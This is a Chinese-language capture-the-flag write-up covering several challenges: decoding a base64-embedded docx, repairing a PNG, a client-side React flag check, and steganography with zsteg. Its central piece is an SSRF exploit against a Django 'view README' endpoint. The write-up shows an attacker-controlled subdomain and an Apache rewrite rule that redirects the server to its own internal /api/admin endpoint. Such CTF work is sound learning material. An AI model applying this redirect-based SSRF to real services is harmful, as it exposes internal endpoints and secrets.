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";

function base64Decode(str){
return atob(str);
}

var decodedStr = base64Decode(encodedStr);
console.log(decodedStr)

他最後有提到這串是b64的加密

Untitled

這邊看到PK開頭,是zip檔的標頭檔,下載成zip解開

在document.xml檔案中看到

Untitled

Untitled


PNG

png在winhex打開後發現不完整,所以需要填充一些字節進去

Untitled

儲存後打開文件 s1gnatur35_Are_v3ry_1mp0rtant_1n_th3_5tructur3_of_fil3s

Untitled

Untitled


Untitled

開啟網頁是一堆可愛的狗狗

針對圖片查看儲存位置,是S3 bucket的部分

Untitled

開啟該網頁查看

Untitled

Untitled


GithubReadme

這題首先感謝我隊友的朋友在賽後無私的分享他的做法,我也是針對他的 writeup 進行研究,受益良多!!!

這題允許閱讀git respository,按照慣例,去找網頁原始碼查看

Untitled

這邊可以注意到 /api/view/api/admin 頁面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
@api.post("/view", response={200: str, 400: Error})
def view(request, path: Path):
try:
ip = get_client_ip(request)[0]
if ReqLog.objects.filter(ip=ip, request_at__gt=timezone.now() - timedelta(seconds=10)).exists():
return 400, {'msg': f"so Fast.. - {ip}"}
else:
ReqLog(ip=ip).save()
github = Github.objects.filter(path=path)
if github.exists():
return github.first().readme
url = f"<https://raw.githubusercontent.com>{path.path}/{path.branch_name}/README.md"
URLValidator()(url)
response = requests.get(url)
if response.status_code != 200:
return 400, {}
readme = response.text
Github(
path=path,
readme=readme
).save()
return readme
except Exception as e:
return 400, {}

1
2
3
4
5
6
7
8
@api.get("/admin", response={200: dict, 401: Error})
def admin(request):
client_ip, is_routable = get_client_ip(request)
if not is_routable :
return {'msg':os.environ.get('FLAG')}
else:
return 401, {'msg': 'ACCESS DENIED'}

注意到一個地方,路徑資訊是直接從使用者輸入中取得的,尤其是在拼接過程中沒有對使用者輸入進行嚴格的過濾

1
2
3
4
url = f"<https://raw.githubusercontent.com>{path.path}/{path.branch_name}/README.md"

URLValidator()(url)
response = requests.get(url)

攻擊者可以控制 path.pathpath.branch_name 的值,因此可以建構惡意的URL,使伺服器在執行requests.get() 時存取攻擊者控制的任意位址

URLValidator 是 Django 框架中用於驗證 URL 格式的驗證器之一。它用於確保傳入的字串符合 URL 的格式規範,例如是否以協定開頭(例如 http:// 或 https://),是否包含有效的網域名稱等

在這邊 URLValidator()(url)的作用是檢查建構的 URL 是否符合 URL 的格式要求

那如何有效的接上前面的domain並對其進行訪問?

這時就用到了DNS Record for Subdomain的技術

Untitled

先來詳細說明這部分:

  • 子網域配置:

    • 在DNS記錄中配置子域名,將其指向您自己的伺服器IP位址。例如,在DNS設定中新增了一個A記錄,將子網域 raw.githubusercontent.com.vicevirus.me 指向了伺服器IP位址
    • 範例DNS記錄:
    1
    raw.githubusercontent.com.vicevirus.me. IN A 123.456.789.10
    • 當使用者嘗試存取 raw.githubusercontent.com.vicevirus.me 時,DNS將解析該子網域並傳回與您的伺服器關聯的IP位址
  • 權威DNS伺服器設定:

    • 權威DNS伺服器負責提供關於該網域的官方記錄,並傳回請求的解析結果
    • 在DNS配置中,您需要指定您的網域名稱(vicevirus.me)所使用的權威 DNS 伺服器。DNS伺服器負責解析您的網域和子域名,因此必須正確配置
    • 範例DNS伺服器設定:
    1
    2
    vicevirus.me. NS ns1.example.com.
    vicevirus.me. NS ns2.example.com.
    • 這裡ns1.example.com和ns2.example.com是您的網域使用的權威DNS伺服器
    • 假設您擁有網域example.com,並將其託管在某個託管服務提供者處。那麼,該託管服務提供者的DNS伺服器就是example.com網域的權威DNS伺服器
    • 當其他DNS伺服器需要解析example.com網域下的子域名,例如 www.example.com ,它們會向該權威DNS伺服器發送查詢請求,以取得與 www.example.com 相關聯的IP位址
  • 網域解析流程:

    • 當使用者在瀏覽器中輸入raw.githubusercontent.com.vicevirus.me並按下Enter鍵時,作業系統會傳送解析請求至本機DNS伺服器
    • 本機DNS伺服器首先會查詢根網域名稱伺服器,然後逐級查詢頂級網域名稱伺服器、權威網域名稱伺服器,最後取得到該子網域對應的IP位址
    • 當本地DNS伺服器獲得IP位址後,將其傳回給使用者的電腦,使用者的瀏覽器將使用該IP位址發起HTTP請求

簡單來說就是 : 域名解析 > 遞歸解析 > 權威DNS解析 > A記錄解析 > 客戶端訪問 > 服務器回應

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
+---------------------+             +-------------------------+            +------------------------+
| 客戶端 (瀏覽器) | | 本地 DNS 服務器 | | 您的伺服器 |
+---------------------+ +-------------------------+ +------------------------+
| | |
| 1. 訪問 raw.githubusercontent.com.vicevirus.me |
|---------------------------------------------------------------------->|
| | |
| | |
| 2. 域名解析請求 | |
|---------------------------------------------------------------------->|
| | |
| | 3. 查找本地 DNS 緩存,未找到結果 |
| | |
| | 4. 發送 DNS 查詢請求 |
| |---------------------------------->|
| | |
| | |
| | 5. 查找根域名服务器 |
| |---------------------------------->|
| | |
| | |
| | 6. 查找 .me 顶级域名服务器 |
| |---------------------------------->|
| | |
| | |
| | 7. 查找 vicevirus.me 的权威 DNS |
| |---------------------------------->|
| | |
| | |
| | 8. 查找 raw.githubusercontent.com.vicevirus.me 的IP地址 |
| |---------------------------------------------------------->|
| | |
| | |
| | 9. 返回解析結果 |
| |
| |
| | 10. 將 HTTP 請求發送至 raw.githubusercontent.com.vicevirus.me |
| |---------------------------------------------------------------->|
| | |
| | |
| | 11. Apache 伺服器處理請求 |
| |------------------------------- > |
| | |
| | |
| | 12. 重定向 HTTP 請求到 HTTPS |
| |--------------------------------> |
| | |
| | |
| | 13. 返回 HTTPS 響應給客戶端 |
| | |
| | |
| 14. 顯示網頁內容 | |
|
+---------------------+ +-------------------------+ +------------------------+
| 客戶端 (瀏覽器) | | 本地 DNS 服務器 | | 您的伺服器 |
+---------------------+ +-------------------------+ +------------------------+

所以這邊使用DNS到底要做什麼?

  • 設置A紀錄
    • 在你擁有的TLD域(vicevirus.me)的DNS管理介面上,新增一個A記錄子網域
    • raw.githubusercontent.com.vicevirus.me 解析到你自己的託管Web伺服器的IP位址上
      • 登入DNS管理介面:首先,登入你的DNS服務提供者的管理介面。這可能是你註冊網域的地方,或是你使用的專門的DNS管理服務提供者的網站
      • 找到網域設定:在管理介面中找到你要設定的網域名稱(vicevirus.me)的設定選項。這通常可以在控制面板的「網域設定」、「DNS管理」或類似的選單下找到
      • 新增A記錄:在網域設定中,找到「新增記錄」、「新增記錄」或類似的選項,並選擇A記錄類型。然後,填寫以下資訊:
        • 子網域(Subdomain):在這裡填入 raw.githubusercontent.com.vicevirus.me
        • 目標(Destination):填寫你自己的託管Web伺服器的IP位址
          • 你自己的Web伺服器所在的IP位址。這個IP位址是你的伺服器在網路上的唯一標識,使用者透過造訪這個IP位址來造訪你的網站。
    • 具體操作可能會因你所使用的DNS服務提供者而異,通常在DNS管理控制面板的「新增記錄」或類似選項下進行設定
  • 創建TLD domain 的A紀錄 subdomain → raw.githubusercontent.com.vicevirus.me
  • 將A紀錄指向自己託管的web server IP addr
  • 託管一個帶有將重定向到內部 /api/admin 端點的端點的 Web 伺服器

回顧到程式碼

1
2
3
4
5
6
7
8
@api.get("/admin", response={200: dict, 401: Error})
def admin(request):
client_ip, is_routable = get_client_ip(request)
if not is_routable :
return {'msg':os.environ.get('FLAG')}
else:
return 401, {'msg': 'ACCESS DENIED'}

/api/admin 端點執行了一個權限驗證,透過 get_client_ip(request) 函數取得客戶端的IP位址並檢查是否可路由。如果客戶端的IP位址無法路由(即在內部網路),則傳回環境變數中的標誌(FLAG),否則傳回存取被拒絕的訊息

get_client_ip 這個函數的目的是要取得客戶端的IP位址,並判斷這個IP位址是否可路由

這種可路由性通常用於識別是否是來自內部網路的請求,或者是否是來自外部網路的請求

可路由的IP位址通常意味著它們是可以透過Internet存取的IP位址,而不可路由的IP位址可能是區域網路或其他內部網路的位址

client_ip 變數用來儲存客戶端的IP位址,而 is_routable 變數則用來表示這個IP位址是否可路由,如果是,則為 True,否則為 False

所以才需要託管一個帶有將重定向到內部/api/admin 端點的Web伺服器

使用Apache Web Server 在本地的伺服器上設置SSL(HTTPS) 在端點上執行重定向

先下載mod_ssl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root㉿kali)-[~]
└─# a2enmod ssl

Considering dependency mime for ssl:
Module mime already enabled
Considering dependency socache_shmcb for ssl:
Enabling module socache_shmcb.
Enabling module ssl.
See /usr/share/doc/apache2/README.Debian.gz on how to configure SSL and create self-signed certificates.
To activate the new configuration, you need to run:
systemctl restart apache2

┌──(root㉿kali)-[~]
└─# systemctl restart apache2

進行以下apache文件設置 /etc/apache2/apache2.conf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<IfModule mod_ssl.c>
<VirtualHost *:443>

RewriteEngine On
#checks if the host and request uri = raw.githubusercontent.com.reciveto.me/main/README.md
RewriteCond %{HTTP_HOST} ^raw\\.githubusercontent\\.com\\.vicevirus\\.me$
RewriteCond %{REQUEST_URI} ^/main/README\\.md$
# redirect to <http://127.0.0.1:8044/api/admin>, port 8044 is based on start.sh
RewriteRule ^(.*)$ <http://127.0.0.1:8044/api/admin> [R=302,L]

ServerAdmin webmaster@localhost
DocumentRoot /var/www/html

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined

ServerName raw.githubusercontent.com.vicevirus.me
SSLCertificateFile /etc/letsencrypt/live/raw.githubusercontent.com.vicevirus.me/fullchain.pem
SSLCertificateKeyFile /etc/letsencrypt/live/raw.githubusercontent.com.vicevirus.me/privkey.pem
Include /etc/letsencrypt/options-ssl-apache.conf
</VirtualHost>
</IfModule>

啟用SSL模組:在Apache的設定檔中啟用SSL模組,確保mod_ssl已載入:

1
LoadModule ssl_module modules/mod_ssl.so

重啟Apache伺服器:儲存您的設定更改,並重新啟動Apache伺服器以使更改生效

1
sudo systemctl restart apache2

當造訪raw.githubusercontent.com.vicevirus.me時,請求將會重新導向至HTTPS,並透過SSL進行安全傳輸

所以總結來說就是 : 設置A紀錄 > 配置重定向規則 > 配置SSL證書 > 加載web server

最後一步,將domain 傳遞給:/api/view

Untitled

參考資料


Revact

Untitled

這網站會檢查你輸入的內容,可以透過這js查看到網站的資訊

1
https://d1rov3aw0q2u2y.cloudfront.net/static/js/main.5e39c7c2.js

Untitled

從js中可以看到一些程式片段也許是跟flag提示相關的

  • endsWith && startsWith 都是 ‘X’
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Ce.displayName = "Button";
const Ee = Ce;
function Ne(e) {
const t = function(e) {
let t = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : "w";
e.ms("".concat(t).concat(n(114)).concat("on").concat(n(103)))
}
, n = e=>String.fromCharCode(e)
, r = function(e, n) {
let r = arguments.length > 2 && void 0 !== arguments[2] ? arguments[2] : "c";
e.s(n) && 7 === e.l ? e.ms("".concat(r, "or").concat("re", "ct")) : t(e)
};
return (0,
a.jsx)(Ee, {
variant: "primary",
type: "button",
onClick: n=>{
n.target.form[0].value.endsWith(n.target.form[0].value[0]) && e.c && n.target.form[0].value.startsWith("X") ? r(e, n.target.form[0].value) : t(e)
}
,
children: "Check"
})
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
function _e(e) {
return (0,
a.jsx)(ke.Control, {
type: "text",
placeholder: "FLAG",
onChange: t=>{
0 === t.target.value.split("").map((e=>e.charCodeAt() < 33 ? "a" : "")).map((e=>e.charCodeAt() > 126 ? "b" : "")).join("").length ? e.t(!0) : e.t(!1),
e.ls(t.target.value.length)
}
})
}
function Pe(t) {
let[n,r] = (0,
e.useState)("-");
return (0,
a.jsxs)(ke, {
children: [(0,
a.jsxs)(ke.Group, {
className: "mb-3",
controlId: "formFlag",
children: [(0,
a.jsx)(ke.Label, {
children: n
}), (0,
a.jsx)(_e, {
t: t.t,
ls: t.ls
})]
}), (0,
a.jsx)(Ne, {
s: t.s,
l: t.l,
c: t.c,
ms: r
})]
})
}
  • e.split("")[4] === localStorage.getItem("z") 這邊寫第四個字元是 z,但要注意到 localStorage.setItem("z", "D") 轉換成了 D ,所以第四個字元是 D
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
function ze() {
let[t,n] = (0,
e.useState)(0)
, [r,l] = (0,
e.useState)(!1);
return (0,
****e.useEffect)((()=>{
localStorage.setItem("z", "D")
}
), []),
(0,
a.jsx)("div", {
className: "align-middle h-100 p-5",
children: (0,
a.jsx)(D, {
className: "mt-5",
children: (0,
a.jsxs)(D.Body, {
children: [(0,
a.jsx)(D.Title, {
children: (0,
a.jsx)("p", {
children: "Simple React App"
})
}), (0,
a.jsx)(Pe, {
s: e=>e.split("")[5].charCodeAt() - 56 === e.split("")[1].charCodeAt() - 5 && e.split("")[2] === e.split("")[3] && "@" === e.split("")[2] && e.split("")[4] === localStorage.getItem("z") && e.split("")[5].charCodeAt() === e.split("")[4].charCodeAt() + 54,
c: r,
t: l,
ls: n,
l: t
})]
})
})
})
}

注意到這邊的檢查機制

  • 2、3字元是 @@
  • 第5個字元是 z (它沒有localStorage.getItem影響成 D)
1
2
3
4
5
s: e=>e.split("")[5].charCodeAt() - 56 === e.split("")[1].charCodeAt() - 5 &&
e.split("")[2] === e.split("")[3] &&
"@" === e.split("")[2] &&
e.split("")[4] === localStorage.getItem("z") &&
e.split("")[5].charCodeAt() === e.split("")[4].charCodeAt() + 54,

統整一下包含前後兩個X包夾,中間有5個字元

1
2
3
4
5
6
7
8
9
1. X
---
1.
2. @
3. @
4. D
5. z
----
7. X

第2個判斷條件是檢查第 5 個字元的 ASCII 碼減去 56 是否等於第 1 個字元的 ASCII 碼減去 5 ⇒ true

  • z ⇒ 122 - 56 ⇒ 66
  • [1] - 5 ⇒ 66
  • [1] ⇒ 71 ⇒ G

Untitled

  • ANS : XG@@DzX

Untitled


PNGRST

這題在比賽結束後兩小時,隊友才解出來,原本以為是要取那些座標區域去把那些區域的圖片才切下來,結果證實我的想法不對呵呵

還是要靠forensic大大來拯救

順便推薦一個線上的forensic工具,雖然在這題沒啥幫助但還是紀錄一下

這題給了一張圖片

Untitled

感謝隊友的提示

Untitled

這題用zsteg可以看到一些座標位置,但這看起來並不完整

1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿kali)-[/home/kali/Desktop/upload_file_web]
└─# zsteg present.png
[?] 11 bytes of extra data after image end (IEND), offset = 0x1822b4
extradata:0 .. text: "(X,Y) (2,5)"
imagedata .. text: "(((101999\"\"\""
b1,g,lsb,xy .. text: "(8,5), (8,6), (8,7), (8,8), (8,9), (8,10), (8,11), (8,12), (8,93), (8,94), (8,95), (8,96), (8,97), (8,98), (8,99), (8,100), (8,157), (8,158), (8,159), (8,160), (8,161), (8,162), (8,163), (8,164), (8,165), (8,166), (8,167), (8,168), (8,169), (8,170), (8,171"
b1,rgb,lsb,xy .. file: Commodore PET BASIC program, offset 0x0100, line 36, token (0x1)
b1,rgb,msb,xy .. file: tar archive (old), type '\200' \200 , mode \001\2, uid \200$, gid @\200\0, size \001\200, seconds \001\200\0, linkname $, comment: \001
b2,b,lsb,xy .. text: ["U" repeated 8 times]
b4,g,msb,xy .. file: Applesoft BASIC program data, first line number 8
b4,rgb,lsb,xy .. file: Adobe Photoshop Color swatch, version 0, 1 colors; 1st RGB space (0), w 0x100, x 0, y 0, z 0
b4,rgb,msb,xy .. file: Adobe Photoshop Color swatch, version 0, 128 colors; 1st RGB space (0), w 0x8000, x 0, y 0, z 0; 2nd space (128), w 0x8, x 0x8000, y 0, z 0

所以將該字段的全部內容導出到txt中查看

1
2
3
4
5
┌──(root㉿kali)-[/home/kali/Desktop/upload_file_web]
└─# zsteg -E "b1,g,lsb,xy" present.png > pre.txt

(8,5), (8,6), (8,7), (8,8), (8,9), (8,10), (8,11), (8,12), (8,93), (8,94), (8,95), (8,96), (8,97), (8,98), (8,99), (8,100), (8,157), (8,158), (8,159), (8,160), (8,161), (8,162), (8,163), (8,164), (8,165), (8,166), (8,167), (8,168), (8,169), (8,170), (8,171), (8,172), (8,173), (8,174), (8,175), (8,176), (8,177), (8,178), (8,179), (8,180), (8,181), (8,182), (8,183), (8,184), (8,185), (8,186), (8,187), (8,188), (8,213), (8,214), (8,215), (8,216), (8,217), (8,218), (8,219), (8,220), (8,221), (8,222), (8,223), (8,224), (8,225), (8,226), (8,227), (8,228), (8,269), (8,270), (8,271), (8,272), (8,273), (8,274), (8,275), (8,276), (8,293), (8,294), (8,295), (8,296), (8,297), (8,298), (8,299), (8,300), (8,301), (8,302), (8,303), (8,304), (8,305), (8,306), (8,307), (8,308), (8,309), (8,310), (8,311), (8,312), (8,313), (8,314), (8,315), (8,316), (8,317), (8,318), (8,319), (8,320), (8,321), (8,322), (8,323), (8,324), (8,325), (8,326), (8,327), (8,328), (8,329), (8,330), (8,331), (8,332), (8,397), (8,398), (8,399), (8,400), (8,401), (8,402), (8,403), (8,404), (8,405), (8,406), (8,407), (8,408), (8,409), (8,410), (8,411), (8,412), (8,437), (8,438), (8,439), (8,440), (8,441), (8,442), (8,443), (8,444), (8,445), (8,446), (8,447), (8,448), (8,449), (8,450), (8,451), (8,452), (8,461), (8,462), (8,463), (8,464), (8,465), (8,466), (8,467), (8,468), (8,501), (8,502), (8,503), (8,504), (8,505), (8,506), (8,507), (8,508), (9,5), (9,6), (9,7), (9,8), (9,9), (9,10), (9,11), (9,12), (9,93), (9,94), (9,95), (9,96), (9,97), (9,98), (9,99), (9,100), (9,157), (9,158), (9,159), (9,160), (9,161), (9,162), (9,163), (9,164), (9,165), (9,166), (9,167), (9,168), (9,169), (9,170), (9,171), (9,172), (9,173), (9,174), (9,175), (9,176), (9,177), (9,178), (9,179), (9,180), (9,181), (9,182), (9,183), (9,184), (9,185), (9,186), (9,187), (9,188), (9,213), (9,214), (9,215), (9,216), (9,217), (9,218), (9,219), (9,220), (9,221), (9,222), (9,223), (9,224), (9,225), (9,226), (9,227), (9,228), (9,269), (9,270), (9,271), (9,272), (9,273), (9,274), (9,275), (9,276), (9,293), (9,294), (9,295), (9,296), (9,297), (9,298), (9,299), (9,300), (9,301), (9,302), (9,303), (9,304), (9,305), (9,306), (9,307), (9,308), (9,309), (9,310), (9,311), (9,312), (9,313), (9,314), (9,315), (9,316), (9,317), (9,318), (9,319), (9,320), (9,321), (9,322), (9,323), (9,324), (9,325), (9,326), (9,327), (9,328), (9,329), 